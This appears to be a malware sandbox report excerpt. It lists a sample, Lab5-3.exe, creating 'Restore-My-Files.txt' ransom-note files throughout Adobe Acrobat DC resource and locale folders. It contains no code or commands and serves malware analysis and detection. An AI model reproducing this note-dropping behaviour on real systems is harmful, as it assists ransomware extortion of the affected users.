Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer\images\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer\images\themes\dark\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer\js\nls\ar-ae\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer\js\nls\ca-es\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer\js\nls\cs-cz\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer\js\nls\da-dk\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer\js\nls\de-de\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer\js\nls\en-ae\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer\js\nls\en-gb\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer\js\nls\en-il\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer\js\nls\es-es\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer\js\nls\eu-es\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer\js\nls\fi-fi\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer\js\nls\fr-fr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer\js\nls\fr-ma\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer\js\nls\he-il\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer\js\nls\hr-hr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer\js\nls\hu-hu\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer\js\nls\it-it\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer\js\nls\ja-jp\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer\js\nls\ko-kr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer\js\nls\nb-no\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer\js\nls\nl-nl\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer\js\nls\pl-pl\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer\js\nls\pt-br\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer\js\nls\ro-ro\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer\js\nls\root\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer\js\nls\ru-ru\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer\js\nls\sk-sk\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer\js\nls\sl-si\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer\js\nls\sl-sl\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer\js\nls\sv-se\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer\js\nls\tr-tr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer\js\nls\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer\js\nls\uk-ua\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer\js\nls\zh-cn\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer\js\nls\zh-tw\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer\js\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer-select\css\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer-select\images\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer-select\images\themes\dark\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\ca-es\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\cs-cz\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\da-dk\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\de-de\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\en-ae\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\en-gb\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\en-il\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\es-es\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\eu-es\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\fi-fi\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\fr-fr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\fr-ma\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\hr-hr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\hu-hu\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\it-it\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\ja-jp\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\ko-kr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\nb-no\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\nl-nl\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\pl-pl\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\pt-br\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\ro-ro\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\root\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\ru-ru\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\sk-sk\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\sl-si\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\sv-se\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\tr-tr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\uk-ua\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\zh-cn\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\zh-tw\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer-select\js\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-files\css\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-files\images\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-files\images\themes\dark\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-files\js\nls\ca-es\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-files\js\nls\cs-cz\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-files\js\nls\da-dk\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-files\js\nls\de-de\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-files\js\nls\en-ae\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-files\js\nls\en-gb\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-files\js\nls\en-il\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-files\js\nls\es-es\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-files\js\nls\eu-es\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-files\js\nls\fi-fi\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-files\js\nls\fr-fr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-files\js\nls\fr-ma\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-files\js\nls\hr-hr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-files\js\nls\hu-hu\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-files\js\nls\it-it\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-files\js\nls\ja-jp\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-files\js\nls\ko-kr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-files\js\nls\nb-no\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-files\js\nls\nl-nl\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-files\js\nls\pl-pl\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-files\js\nls\pt-br\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-files\js\nls\ro-ro\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-files\js\nls\root\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-files\js\nls\ru-ru\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-files\js\nls\sk-sk\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-files\js\nls\sl-si\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-files\js\nls\sv-se\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-files\js\nls\tr-tr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-files\js\nls\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-files\js\nls\uk-ua\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-files\js\nls\zh-cn\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-files\js\nls\zh-tw\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-files\js\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-files-select\js\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\ca-es\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\cs-cz\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\da-dk\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\de-de\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\en-ae\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\en-gb\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\en-il\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\es-es\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\eu-es\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\fi-fi\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\fr-fr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\fr-ma\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\hr-hr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\hu-hu\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\it-it\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\ja-jp\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\ko-kr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\nb-no\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\nl-nl\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\pl-pl\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\pt-br\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\ro-ro\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\root\Restore-My-Files.txt	Jump to behavior
